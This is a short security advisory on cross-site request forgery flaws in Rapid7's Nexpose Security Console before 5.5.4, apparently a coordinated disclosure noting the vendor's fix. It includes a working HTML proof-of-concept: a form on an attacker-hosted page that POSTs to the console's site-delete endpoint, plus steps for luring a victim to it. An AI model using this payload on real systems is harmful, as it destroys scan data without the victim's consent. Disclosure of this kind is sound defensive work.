Description

Product: Nexpose Security Console Vendor: Rapid7 Version: < 5.5.3 Tested Version: 5.5.1 Vendor Notified Date: December 19, 2012 Release Date: January 2, 2013 Risk: High Authentication: None required Remote: Yes

Description: Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose Security Console 5.5.3 and below allow remote attackers to submit actions on a legitimate user’s behalf. By not properly checking each URL, an attacker can execute requests on behalf of a legitimate user. If an authenticated user is tricked into visiting a specially crafted page, it may be possible to perform user-initiated actions on the web application using the victim’s established session. Successful exploitation of this vulnerability resulted in deleting scan data and sites during the proof-of-concept.

Exploit steps for proof-of-concept: 1. Create an external site/page: http://attackersite.com/nexpose-csrf.htm that contains: [code] <html> <!-- Nexpose CSRF PoC --> <body> <form action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1" method="POST" enctype="multipart/form-data"> <input type="submit" value="delete site" /> </form> <script> //document.forms[0].submit(); //uncomment to auto-submit </script> </body> </html> [/code] 2. Lure victim to http://attackersite.com/nexpose-csrf.htm. 3. Site with ID 1 is deleted when form is submitted.

Vendor Notified: Yes Vendor Response: Quickly escalated and resolved. Vendor Update: Remediated in 5.5.4.
